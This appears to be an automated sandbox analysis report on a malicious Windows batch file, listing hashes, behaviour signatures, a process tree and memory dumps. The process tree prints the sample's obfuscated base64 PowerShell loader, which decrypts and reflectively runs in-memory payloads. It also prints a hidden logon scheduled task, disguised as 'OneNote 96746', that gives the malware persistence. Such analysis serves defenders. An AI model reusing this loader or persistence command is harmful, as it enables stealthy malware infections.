7d69e0d82e74059115486fae5dd5ac6463c7fccd91dbbcaa9587117c7d201ddb

Resubmissions

22-04-2024 22:02

240422-1xtwbagh68 10

22-04-2024 19:25

240422-x42b7afa68 10

19-04-2024 03:02

240419-djmthsfh8w 10

Analysis

max time kernel
152s
max time network
197s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
22-04-2024 22:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

10de02fec8ac3edbf1398e6dd43ddec95a89e0499e1e865a7d9e5289fb2b31d1.bat
Size

1.1MB
MD5

4030841f8cd4b3ac37ab0a0b9332f3a5
SHA1

6d05584de372399fbadd59a1e6a1eefee90f8725
SHA256

10de02fec8ac3edbf1398e6dd43ddec95a89e0499e1e865a7d9e5289fb2b31d1
SHA512

a8c40c3fa3f7f9ba47eed94a55a2562719073fd568d4aa96a081a46ce150e0b068b453e812eaef3fe15cafae3b66127e23ed4d72669173c8c254ba58d32534c0
SSDEEP

24576:+NAwcGqisVN8rXpLOnM+YCftp99Jj9Pgxp1QrKDI:+NKVVsxmt9j

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

Processes:

powershell.exe

flow	pid	process
54	788	powershell.exe
54	788	powershell.exe
54	788	powershell.exe
54	788	powershell.exe
54	788	powershell.exe
54	788	powershell.exe
54	788	powershell.exe
54	788	powershell.exe
54	788	powershell.exe
54	788	powershell.exe
54	788	powershell.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
32	powershell.exe
32	powershell.exe
2168	powershell.exe
2168	powershell.exe
4444	powershell.exe
4444	powershell.exe
4444	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
788	powershell.exe
788	powershell.exe
788	powershell.exe
2600	powershell.exe
2600	powershell.exe
2600	powershell.exe
4004	powershell.exe
4004	powershell.exe
4004	powershell.exe
1616	powershell.exe
1616	powershell.exe
1616	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	32	powershell.exe
Token: SeDebugPrivilege	2168	powershell.exe
Token: SeDebugPrivilege	4444	powershell.exe
Token: SeIncreaseQuotaPrivilege	4444	powershell.exe
Token: SeSecurityPrivilege	4444	powershell.exe
Token: SeTakeOwnershipPrivilege	4444	powershell.exe
Token: SeLoadDriverPrivilege	4444	powershell.exe
Token: SeSystemProfilePrivilege	4444	powershell.exe
Token: SeSystemtimePrivilege	4444	powershell.exe
Token: SeProfSingleProcessPrivilege	4444	powershell.exe
Token: SeIncBasePriorityPrivilege	4444	powershell.exe
Token: SeCreatePagefilePrivilege	4444	powershell.exe
Token: SeBackupPrivilege	4444	powershell.exe
Token: SeRestorePrivilege	4444	powershell.exe
Token: SeShutdownPrivilege	4444	powershell.exe
Token: SeDebugPrivilege	4444	powershell.exe
Token: SeSystemEnvironmentPrivilege	4444	powershell.exe
Token: SeRemoteShutdownPrivilege	4444	powershell.exe
Token: SeUndockPrivilege	4444	powershell.exe
Token: SeManageVolumePrivilege	4444	powershell.exe
Token: 33	4444	powershell.exe
Token: 34	4444	powershell.exe
Token: 35	4444	powershell.exe
Token: 36	4444	powershell.exe
Token: SeDebugPrivilege	560	powershell.exe
Token: SeIncreaseQuotaPrivilege	560	powershell.exe
Token: SeSecurityPrivilege	560	powershell.exe
Token: SeTakeOwnershipPrivilege	560	powershell.exe
Token: SeLoadDriverPrivilege	560	powershell.exe
Token: SeSystemProfilePrivilege	560	powershell.exe
Token: SeSystemtimePrivilege	560	powershell.exe
Token: SeProfSingleProcessPrivilege	560	powershell.exe
Token: SeIncBasePriorityPrivilege	560	powershell.exe
Token: SeCreatePagefilePrivilege	560	powershell.exe
Token: SeBackupPrivilege	560	powershell.exe
Token: SeRestorePrivilege	560	powershell.exe
Token: SeShutdownPrivilege	560	powershell.exe
Token: SeDebugPrivilege	560	powershell.exe
Token: SeSystemEnvironmentPrivilege	560	powershell.exe
Token: SeRemoteShutdownPrivilege	560	powershell.exe
Token: SeUndockPrivilege	560	powershell.exe
Token: SeManageVolumePrivilege	560	powershell.exe
Token: 33	560	powershell.exe
Token: 34	560	powershell.exe
Token: 35	560	powershell.exe
Token: 36	560	powershell.exe
Token: SeIncreaseQuotaPrivilege	560	powershell.exe
Token: SeSecurityPrivilege	560	powershell.exe
Token: SeTakeOwnershipPrivilege	560	powershell.exe
Token: SeLoadDriverPrivilege	560	powershell.exe
Token: SeSystemProfilePrivilege	560	powershell.exe
Token: SeSystemtimePrivilege	560	powershell.exe
Token: SeProfSingleProcessPrivilege	560	powershell.exe
Token: SeIncBasePriorityPrivilege	560	powershell.exe
Token: SeCreatePagefilePrivilege	560	powershell.exe
Token: SeBackupPrivilege	560	powershell.exe
Token: SeRestorePrivilege	560	powershell.exe
Token: SeShutdownPrivilege	560	powershell.exe
Token: SeDebugPrivilege	560	powershell.exe
Token: SeSystemEnvironmentPrivilege	560	powershell.exe
Token: SeRemoteShutdownPrivilege	560	powershell.exe
Token: SeUndockPrivilege	560	powershell.exe
Token: SeManageVolumePrivilege	560	powershell.exe
Token: 33	560	powershell.exe

Suspicious use of WriteProcessMemory 32 IoCs

Processes:

cmd.execmd.exepowershell.execmd.execmd.exepowershell.exe

description	pid	process	target process
PID 1676 wrote to memory of 3156	1676	cmd.exe	cmd.exe
PID 1676 wrote to memory of 3156	1676	cmd.exe	cmd.exe
PID 1676 wrote to memory of 2724	1676	cmd.exe	cmd.exe
PID 1676 wrote to memory of 2724	1676	cmd.exe	cmd.exe
PID 2724 wrote to memory of 3388	2724	cmd.exe	cmd.exe
PID 2724 wrote to memory of 3388	2724	cmd.exe	cmd.exe
PID 2724 wrote to memory of 2520	2724	cmd.exe	cmd.exe
PID 2724 wrote to memory of 2520	2724	cmd.exe	cmd.exe
PID 2724 wrote to memory of 32	2724	cmd.exe	powershell.exe
PID 2724 wrote to memory of 32	2724	cmd.exe	powershell.exe
PID 32 wrote to memory of 2168	32	powershell.exe	powershell.exe
PID 32 wrote to memory of 2168	32	powershell.exe	powershell.exe
PID 32 wrote to memory of 4444	32	powershell.exe	powershell.exe
PID 32 wrote to memory of 4444	32	powershell.exe	powershell.exe
PID 32 wrote to memory of 560	32	powershell.exe	powershell.exe
PID 32 wrote to memory of 560	32	powershell.exe	powershell.exe
PID 32 wrote to memory of 4268	32	powershell.exe	cmd.exe
PID 32 wrote to memory of 4268	32	powershell.exe	cmd.exe
PID 4268 wrote to memory of 2644	4268	cmd.exe	cmd.exe
PID 4268 wrote to memory of 2644	4268	cmd.exe	cmd.exe
PID 2644 wrote to memory of 408	2644	cmd.exe	cmd.exe
PID 2644 wrote to memory of 408	2644	cmd.exe	cmd.exe
PID 2644 wrote to memory of 3880	2644	cmd.exe	cmd.exe
PID 2644 wrote to memory of 3880	2644	cmd.exe	cmd.exe
PID 2644 wrote to memory of 788	2644	cmd.exe	powershell.exe
PID 2644 wrote to memory of 788	2644	cmd.exe	powershell.exe
PID 788 wrote to memory of 2600	788	powershell.exe	powershell.exe
PID 788 wrote to memory of 2600	788	powershell.exe	powershell.exe
PID 788 wrote to memory of 4004	788	powershell.exe	powershell.exe
PID 788 wrote to memory of 4004	788	powershell.exe	powershell.exe
PID 788 wrote to memory of 1616	788	powershell.exe	powershell.exe
PID 788 wrote to memory of 1616	788	powershell.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\10de02fec8ac3edbf1398e6dd43ddec95a89e0499e1e865a7d9e5289fb2b31d1.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1676
- C:\Windows\system32\cmd.exe
  cmd /c \"set __=^&rem\
  2⤵
  PID:3156
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\10de02fec8ac3edbf1398e6dd43ddec95a89e0499e1e865a7d9e5289fb2b31d1.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2724
- - C:\Windows\system32\cmd.exe
    cmd /c \"set __=^&rem\
    3⤵
    PID:3388
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\10de02fec8ac3edbf1398e6dd43ddec95a89e0499e1e865a7d9e5289fb2b31d1.bat';iex ([Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtdyBoaWRkZW47ZnVuY3Rpb24ga1JGT2soJERNSmFHKXskUXpwdGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7JFF6cHRlLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzskUXpwdGUuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OyRRenB0ZS5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnRjB3NXFsREI3QUlVTmtQVG5CWTBQeUVod2ppZzM0Zm1wb3I5S2ZqeWtvYz0nKTskUXpwdGUuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnZHJXWWdZV3ptMEhxQjA1ZHpyck1Ddz09Jyk7JGRHR2VBPSRRenB0ZS5DcmVhdGVEZWNyeXB0b3IoKTskT2tGeWU9JGRHR2VBLlRyYW5zZm9ybUZpbmFsQmxvY2soJERNSmFHLDAsJERNSmFHLkxlbmd0aCk7JGRHR2VBLkRpc3Bvc2UoKTskUXpwdGUuRGlzcG9zZSgpOyRPa0Z5ZTt9ZnVuY3Rpb24gbEZOSHYoJERNSmFHKXskUHZ3WXc9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtKCwkRE1KYUcpOyRiYW9EZD1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW07JGxYcUJ3PU5ldy1PYmplY3QgU3lzdGVtLklPLkNvbXByZXNzaW9uLkdaaXBTdHJlYW0oJFB2d1l3LFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTskbFhxQncuQ29weVRvKCRiYW9EZCk7JGxYcUJ3LkRpc3Bvc2UoKTskUHZ3WXcuRGlzcG9zZSgpOyRiYW9EZC5EaXNwb3NlKCk7JGJhb0RkLlRvQXJyYXkoKTt9JHJydUhvPVtTeXN0ZW0uSU8uRmlsZV06OlJlYWRMaW5lcyhbQ29uc29sZV06OlRpdGxlKTskeGJuQW09bEZOSHYgKGtSRk9rIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoW1N5c3RlbS5MaW5xLkVudW1lcmFibGVdOjpFbGVtZW50QXQoJHJydUhvLCA1KS5TdWJzdHJpbmcoMikpKSk7JE9NU3hJPWxGTkh2IChrUkZPayAoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFtTeXN0ZW0uTGlucS5FbnVtZXJhYmxlXTo6RWxlbWVudEF0KCRycnVIbywgNikuU3Vic3RyaW5nKDIpKSkpO1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kT01TeEkpLkVudHJ5UG9pbnQuSW52b2tlKCRudWxsLCRudWxsKTtbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJHhibkFtKS5FbnRyeVBvaW50Lkludm9rZSgkbnVsbCwkbnVsbCk7'))) "
    3⤵
    PID:2520
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:32
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2168
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\10de02fec8ac3edbf1398e6dd43ddec95a89e0499e1e865a7d9e5289fb2b31d1')
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4444
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 96746' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\strt.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:560
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Roaming\strt.cmd"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4268
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\strt.cmd"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2644
      - C:\Windows\system32\cmd.exe
        
        cmd /c \"set __=^&rem\
        6⤵
        
        PID:408
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\strt.cmd';iex ([Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtdyBoaWRkZW47ZnVuY3Rpb24ga1JGT2soJERNSmFHKXskUXpwdGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7JFF6cHRlLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzskUXpwdGUuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OyRRenB0ZS5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnRjB3NXFsREI3QUlVTmtQVG5CWTBQeUVod2ppZzM0Zm1wb3I5S2ZqeWtvYz0nKTskUXpwdGUuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnZHJXWWdZV3ptMEhxQjA1ZHpyck1Ddz09Jyk7JGRHR2VBPSRRenB0ZS5DcmVhdGVEZWNyeXB0b3IoKTskT2tGeWU9JGRHR2VBLlRyYW5zZm9ybUZpbmFsQmxvY2soJERNSmFHLDAsJERNSmFHLkxlbmd0aCk7JGRHR2VBLkRpc3Bvc2UoKTskUXpwdGUuRGlzcG9zZSgpOyRPa0Z5ZTt9ZnVuY3Rpb24gbEZOSHYoJERNSmFHKXskUHZ3WXc9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtKCwkRE1KYUcpOyRiYW9EZD1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW07JGxYcUJ3PU5ldy1PYmplY3QgU3lzdGVtLklPLkNvbXByZXNzaW9uLkdaaXBTdHJlYW0oJFB2d1l3LFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTskbFhxQncuQ29weVRvKCRiYW9EZCk7JGxYcUJ3LkRpc3Bvc2UoKTskUHZ3WXcuRGlzcG9zZSgpOyRiYW9EZC5EaXNwb3NlKCk7JGJhb0RkLlRvQXJyYXkoKTt9JHJydUhvPVtTeXN0ZW0uSU8uRmlsZV06OlJlYWRMaW5lcyhbQ29uc29sZV06OlRpdGxlKTskeGJuQW09bEZOSHYgKGtSRk9rIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoW1N5c3RlbS5MaW5xLkVudW1lcmFibGVdOjpFbGVtZW50QXQoJHJydUhvLCA1KS5TdWJzdHJpbmcoMikpKSk7JE9NU3hJPWxGTkh2IChrUkZPayAoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFtTeXN0ZW0uTGlucS5FbnVtZXJhYmxlXTo6RWxlbWVudEF0KCRycnVIbywgNikuU3Vic3RyaW5nKDIpKSkpO1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kT01TeEkpLkVudHJ5UG9pbnQuSW52b2tlKCRudWxsLCRudWxsKTtbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJHhibkFtKS5FbnRyeVBvaW50Lkludm9rZSgkbnVsbCwkbnVsbCk7'))) "
        6⤵
        
        PID:3880
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        6⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:788
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2600
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Roaming\strt')
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4004
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 96746' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\strt.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1616

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3692 --field-trial-handle=3192,i,2785050981002401924,4037047756083432660,262144 --variations-seed-version /prefetch:8
1⤵
PID:1656

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3f01549ee3e4c18244797530b588dad9

SHA1
3e87863fc06995fe4b741357c68931221d6cc0b9

SHA256
36b51e575810b6af6fc5e778ce0f228bc7797cd3224839b00829ca166fa13f9a

SHA512
73843215228865a4186ac3709bf2896f0f68da0ba3601cc20226203dd429a2ad9817b904a45f6b0456b8be68deebf3b011742a923ce4a77c0c6f3a155522ab50

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
a26df49623eff12a70a93f649776dab7

SHA1
efb53bd0df3ac34bd119adf8788127ad57e53803

SHA256
4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

SHA512
e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
3KB

MD5
2d1de0141861c4d15f5dc0630d1b8c94

SHA1
523a8ce3c9a1d5058f77cda094ffd171ff3e4ab8

SHA256
94738f7eb08a96b49fb7c51091083b9401b99e4db6458625bd3f1f6c65838c36

SHA512
354f89f30f47d909c953d0451d8f1f850f585cd8580241c46d62fbdd3089ddbe3775fe7e531abb9a766683477a32116a52bffe0aa8f7b1d443edfa8baf592498

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
f5757a4861737c7d99e3ae930ff8641a

SHA1
bb6a31b58a1744e8205df4b1e1c3f040b0b76a8c

SHA256
2762ba768f272e9f8beea28e01e4253151148b0cdd6968d189bf67544e17b219

SHA512
ab9848d8e7bb736000da80f66f14db3eca0cec699fd21ceb67d855a72ec8356e9c06e638d139f3f3a74e9af71d9414e990a78fd8d345a17156ac49c17662f585

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
430313cf7b0d23dfdc746fc7226ce76e

SHA1
4e20cdd9f7f570f2e2aa83d40cc3c76f7514c303

SHA256
e02345702cdcaf1b20d65837e4cbe280135167758504343e334a5b2492c93f07

SHA512
e3fde1853fbf45c8a82eb697acc52f9d09e3d891d6e58bdd3b44ceea23979d3c86ee877d9d5ac1c87a01ef8d214b0d6a06cdd1f950e6ccc8f31c8f52f8fdc42a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
cc2ce575753731574bf10ff6e5162032

SHA1
b660e5156f97af770e5d359fdd2a6ea697f359fb

SHA256
c0c37fd6fb26d101e347a1e9b5190029bb591d8c57392dbf2df4741b11fc2dfa

SHA512
715bb49c3977d51ff39b0458b99c5e3ba786e3110a4015402cd023b484ff385704475238fb813d074524d76bc733b0d4e92b57b64d187b3d6a664e4f38eebc1b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p2r1mv2c.c3j.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\strt.cmd

Filesize
1.1MB

MD5
4030841f8cd4b3ac37ab0a0b9332f3a5

SHA1
6d05584de372399fbadd59a1e6a1eefee90f8725

SHA256
10de02fec8ac3edbf1398e6dd43ddec95a89e0499e1e865a7d9e5289fb2b31d1

SHA512
a8c40c3fa3f7f9ba47eed94a55a2562719073fd568d4aa96a081a46ce150e0b068b453e812eaef3fe15cafae3b66127e23ed4d72669173c8c254ba58d32534c0

Download Submit
memory/32-31-0x000002B23E9B0000-0x000002B23E9BA000-memory.dmp

Filesize
40KB

Download
memory/32-47-0x000002B23E9C0000-0x000002B23E9D0000-memory.dmp

Filesize
64KB

Download
memory/32-86-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

Filesize
10.8MB

Download
memory/32-13-0x000002B240E90000-0x000002B240ED4000-memory.dmp

Filesize
272KB

Download
memory/32-14-0x000002B240EE0000-0x000002B240F56000-memory.dmp

Filesize
472KB

Download
memory/32-32-0x000002B240F60000-0x000002B241038000-memory.dmp

Filesize
864KB

Download
memory/32-12-0x000002B23E9C0000-0x000002B23E9D0000-memory.dmp

Filesize
64KB

Download
memory/32-34-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

Filesize
10.8MB

Download
memory/32-11-0x000002B23E9C0000-0x000002B23E9D0000-memory.dmp

Filesize
64KB

Download
memory/32-9-0x000002B240A40000-0x000002B240A62000-memory.dmp

Filesize
136KB

Download
memory/32-10-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

Filesize
10.8MB

Download
memory/560-63-0x000001ECF77F0000-0x000001ECF7800000-memory.dmp

Filesize
64KB

Download
memory/560-65-0x000001ECF77F0000-0x000001ECF7800000-memory.dmp

Filesize
64KB

Download
memory/560-52-0x000001ECF77F0000-0x000001ECF7800000-memory.dmp

Filesize
64KB

Download
memory/560-51-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

Filesize
10.8MB

Download
memory/560-67-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

Filesize
10.8MB

Download
memory/788-162-0x000001D959B10000-0x000001D959C21000-memory.dmp

Filesize
1.1MB

Download
memory/788-168-0x000001D959B10000-0x000001D959C21000-memory.dmp

Filesize
1.1MB

Download
memory/788-2458-0x000001D959CD0000-0x000001D959D1C000-memory.dmp

Filesize
304KB

Download
memory/788-2457-0x000001D959C30000-0x000001D959CCE000-memory.dmp

Filesize
632KB

Download
memory/788-561-0x000001D957320000-0x000001D957330000-memory.dmp

Filesize
64KB

Download
memory/788-282-0x000001D957320000-0x000001D957330000-memory.dmp

Filesize
64KB

Download
memory/788-78-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

Filesize
10.8MB

Download
memory/788-82-0x000001D957320000-0x000001D957330000-memory.dmp

Filesize
64KB

Download
memory/788-83-0x000001D957320000-0x000001D957330000-memory.dmp

Filesize
64KB

Download
memory/788-85-0x000001D957320000-0x000001D957330000-memory.dmp

Filesize
64KB

Download
memory/788-196-0x000001D959B10000-0x000001D959C21000-memory.dmp

Filesize
1.1MB

Download
memory/788-194-0x000001D959B10000-0x000001D959C21000-memory.dmp

Filesize
1.1MB

Download
memory/788-192-0x000001D959B10000-0x000001D959C21000-memory.dmp

Filesize
1.1MB

Download
memory/788-190-0x000001D959B10000-0x000001D959C21000-memory.dmp

Filesize
1.1MB

Download
memory/788-188-0x000001D959B10000-0x000001D959C21000-memory.dmp

Filesize
1.1MB

Download
memory/788-186-0x000001D959B10000-0x000001D959C21000-memory.dmp

Filesize
1.1MB

Download
memory/788-184-0x000001D959B10000-0x000001D959C21000-memory.dmp

Filesize
1.1MB

Download
memory/788-182-0x000001D959B10000-0x000001D959C21000-memory.dmp

Filesize
1.1MB

Download
memory/788-180-0x000001D959B10000-0x000001D959C21000-memory.dmp

Filesize
1.1MB

Download
memory/788-178-0x000001D959B10000-0x000001D959C21000-memory.dmp

Filesize
1.1MB

Download
memory/788-176-0x000001D959B10000-0x000001D959C21000-memory.dmp

Filesize
1.1MB

Download
memory/788-174-0x000001D959B10000-0x000001D959C21000-memory.dmp

Filesize
1.1MB

Download
memory/788-127-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

Filesize
10.8MB

Download
memory/788-172-0x000001D959B10000-0x000001D959C21000-memory.dmp

Filesize
1.1MB

Download
memory/788-170-0x000001D959B10000-0x000001D959C21000-memory.dmp

Filesize
1.1MB

Download
memory/788-131-0x000001D959A30000-0x000001D959B08000-memory.dmp

Filesize
864KB

Download
memory/788-132-0x000001D959B10000-0x000001D959C26000-memory.dmp

Filesize
1.1MB

Download
memory/788-133-0x000001D959B10000-0x000001D959C21000-memory.dmp

Filesize
1.1MB

Download
memory/788-134-0x000001D959B10000-0x000001D959C21000-memory.dmp

Filesize
1.1MB

Download
memory/788-136-0x000001D959B10000-0x000001D959C21000-memory.dmp

Filesize
1.1MB

Download
memory/788-138-0x000001D959B10000-0x000001D959C21000-memory.dmp

Filesize
1.1MB

Download
memory/788-140-0x000001D959B10000-0x000001D959C21000-memory.dmp

Filesize
1.1MB

Download
memory/788-142-0x000001D959B10000-0x000001D959C21000-memory.dmp

Filesize
1.1MB

Download
memory/788-144-0x000001D959B10000-0x000001D959C21000-memory.dmp

Filesize
1.1MB

Download
memory/788-146-0x000001D959B10000-0x000001D959C21000-memory.dmp

Filesize
1.1MB

Download
memory/788-148-0x000001D959B10000-0x000001D959C21000-memory.dmp

Filesize
1.1MB

Download
memory/788-152-0x000001D959B10000-0x000001D959C21000-memory.dmp

Filesize
1.1MB

Download
memory/788-154-0x000001D959B10000-0x000001D959C21000-memory.dmp

Filesize
1.1MB

Download
memory/788-150-0x000001D959B10000-0x000001D959C21000-memory.dmp

Filesize
1.1MB

Download
memory/788-156-0x000001D959B10000-0x000001D959C21000-memory.dmp

Filesize
1.1MB

Download
memory/788-158-0x000001D959B10000-0x000001D959C21000-memory.dmp

Filesize
1.1MB

Download
memory/788-160-0x000001D959B10000-0x000001D959C21000-memory.dmp

Filesize
1.1MB

Download
memory/788-166-0x000001D959B10000-0x000001D959C21000-memory.dmp

Filesize
1.1MB

Download
memory/788-164-0x000001D959B10000-0x000001D959C21000-memory.dmp

Filesize
1.1MB

Download
memory/1616-124-0x000001C2EBA20000-0x000001C2EBA30000-memory.dmp

Filesize
64KB

Download
memory/1616-130-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

Filesize
10.8MB

Download
memory/1616-123-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

Filesize
10.8MB

Download
memory/1616-128-0x000001C2EBA20000-0x000001C2EBA30000-memory.dmp

Filesize
64KB

Download
memory/1616-125-0x000001C2EBA20000-0x000001C2EBA30000-memory.dmp

Filesize
